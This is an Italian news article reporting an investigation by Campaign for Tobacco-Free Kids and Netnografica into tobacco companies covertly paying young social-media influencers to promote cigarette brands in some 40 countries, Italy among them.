Le aziende produttrici di tabacco da anni pubblicizzano in modo occulto le loro sigarette sui social media come Facebook, Instagram e Twitter, pagando influencer giovani, famosi e con molti follower per pubblicare immagini di sigarette e di persone intente a fumare. Si tratta di una strategia di marketing documentata in 40 Paesi tra cui l’Italia. E’ quanto ha messo in luce una recente inchiesta, durata due anni e condotta dalla Campaign for Tobacco-Free Kids e Netnografica Llc, societa’ di ricerca e consulenza sui gusti e le preferenze dei consumatori con sede negli Stati Uniti e specializzata nelle ricerche online. L’inchiestadocumenta oltre 100 campagne promozionali sui social, organizzate da grandi multinazionali del tabacco come Philip Morris International, British American Tobacco, Japan Tobacco International e Imperial Brands e attuate in modo non trasparente. La societa’ di ricerca ha condotto interviste con giovani influencer pagati per incoraggiare i loro follower a consumare sigarette, il tutto senza rivelare chiaramente che avevano stretto accordi con aziende produttrici di sigarette per fare pubblicita’ a pagamento (agli intervistati e’ stato concesso l’anonimato per partecipare alla ricerca). “Le aziende produttrici di tabacco – spiega Matthew L. Myers, presidente della Campaign for Tobacco-Free Kids – affermano di non fare pubblicita’ dei loro prodotti nei confronti dei minorenni, ma questa indagine dimostra come si comportino esattamente all’opposto, utilizzando tecniche molto sofisticate che minacciano di rendere dipendente dal fumo una nuova generazione di ragazzi e di rallentare i progressi ottenuti nella riduzione del consumo di sigarette nel mondo. I maggiori esperti del mondo nel campo della pubblicita’ ingannevole, grazie ai social media, ora dispongono – prosegue – di nuovi e potenti mezzi che consentono loro di raggiungere miliardi di giovani in modo subdolo ed efficiente. La Federal Trade Commission, e i governi di tutto il mondo, dovrebbero immediatamente – conclude – avviare indagini e utilizzare tutti gli strumenti a loro disposizione per porre fine a queste allarmanti pratiche pubblicitarie da parte delle multinazionali del tabacco”. 
I risultati dell’indagine evidenziano come le aziende produttrici di tabacco hanno scovato sui social giovani influencer con un numero significativo di follower online e li hanno pagati per pubblicare foto con pacchetti di Marlboro, Lucky Strike e altri marchi di sigarette. Agli influencer e’ stato spiegato esattamente quali marchi di sigarette promuovere e quando pubblicare le foto in modo da ottenere la massima visibilita’. Per esempio, in Italia, agli influencer pagati per promuovere le sigarette Lucky Strike vengono date istruzioni affinche’ le immagini choc e i messaggi anti-fumo sui pacchetti di sigarette non fossero visibili nelle foto pubblicate online. Agli influencer viene in genere richiesto di includere hashtag specifici per promuovere le sigarette sui post dei social. Tra gli esempi rilevati ci sono #LikeUs e #LUS per promuovere le sigarette Lucky Strike e #RedMoveNow per promuovere le Marlboro. Il fatto che gli hashtag usati siano in inglese indica che le multinazionali del tabacco si rivolgono a un pubblico globale che include anche la gioventu’ italiana. Un’altra strategia consiste nell’organizzare feste e concorsi sponsorizzati dove si promuovono alcuni marchi di sigarette e si incoraggiano i partecipanti a pubblicare sui propri profili social le immagini dell’evento. In totale, queste ingannevoli campagne promozionali sui social – secondo i dati dell’inchiesta – sono state viste oltre 25 miliardi di volte in tutto il mondo – tra cui 8,8 miliardi di volte negli Stati Uniti dove le azioni di marketing condotte dagli influencer sono regolate dalla FTC (Federal Trade Commission). “Le prove raccolte dalla nostra ricerca – dice Robert Kozinets, presidente di Netnografica LLC, che e’ anche professore ordinario presso la scuola di comunicazione e business della university of Southern California – mostrano un marketing d’avanguardia, con un alto budget e condotto sui social, facendo leva su temi e tendenze molto popolari per la cultura giovanile. Le aziende produttrici di tabacco – conclude – hanno posto in essere una sofisticata campagna globale per comunicare con un vasto pubblico e presentare in modo positivo un prodotto che e’ stato a lungo associato a conseguenze negative e di fatto mortali per la salute”.
Altri risultati interessanti mostrano come la British American Tobacco, la piu’ grande societa’ per azioni produttrice di sigarette del mondo, sponsorizza diverse campagne di marketing di influencer molto famosi per promuovere i suoi marchi di sigarette Lucky Strike e Dunhill. Un influencer pagato per promuovere i marchi Bat ha spiegato: “Metto il pacchetto di sigarette qui sul tavolo e faccio una foto. Questo ovviamente e’ illegale. Hanno creato un gruppo di persone in ogni citta’. Cercano di portare avanti questa cosa in cui si danno pacchetti di sigarette a persone con un certo numero di follower, in modo che pubblichino un’immagine con il pacchetto. Il concetto che vogliono promuovere e’ che fumare Lucky Strike e’ figo”. Philip Morris International, produttore delle Marlboro, ha lanciato campagne promozionali utilizzando influencer in diversi Paesi, come ad esempio in Indonesia, dove una campagna Marlboro chiamata ‘I DecideTo’ e’ stata vista oltre 47 milioni di volte online. Una campagna in Uruguay, chiamata #NightHunters, ha usato influencer pagati per pubblicare articoli sulle sigarette mentolate ed e’ stata vista da quasi il 10% della popolazione del Paese. Un influencer pagato per promuovere i marchi Philip Morris ha dichiarato che “Gli influencer scelti sono sempre stati i piu’ giovani”. Imperial Brands, a sua volta, ha lanciato campagne sui social per le sigarette Davidoff in diversi Paesi, tra cui la Bosnia, la Malesia e l’Egitto. Utilizzando l’hashtag #ForTheHunters, la campagna e’ stata vista oltre 24 milioni di volte. Japan Tobacco International, rivenditore di marchi come Camel e Winston al di fuori degli Stati Uniti, ha lanciato campagne per entrambi i marchi in diversi Paesi, tra cui un ‘Freedom Music Festival’ mondiale che promuove sigarette Winston online in Kazakistan, Kirghizistan e Giordania. Un video promozionale, creato da un’agenzia di pr con sede nel Regno Unito per delineare la strategia pubblicitaria, afferma che la campagna di marketing ha generato “milioni di visualizzazioni sui social media”. Secondo l’indagine, infine, le campagne di marketing sui social spesso prendono di mira Paesi a basso e medio reddito con elevato tasso di mortalita’ per malattie legate al consumo di tabacco. Globalmente, l’80% dei fumatori del mondo vive in Paesi a basso e medio reddito. L’uso del tabacco uccide attualmente piu’ di 7 milioni di persone ogni anno e si prevede che ne uccidera’ un miliardo di persone in questo secolo. 

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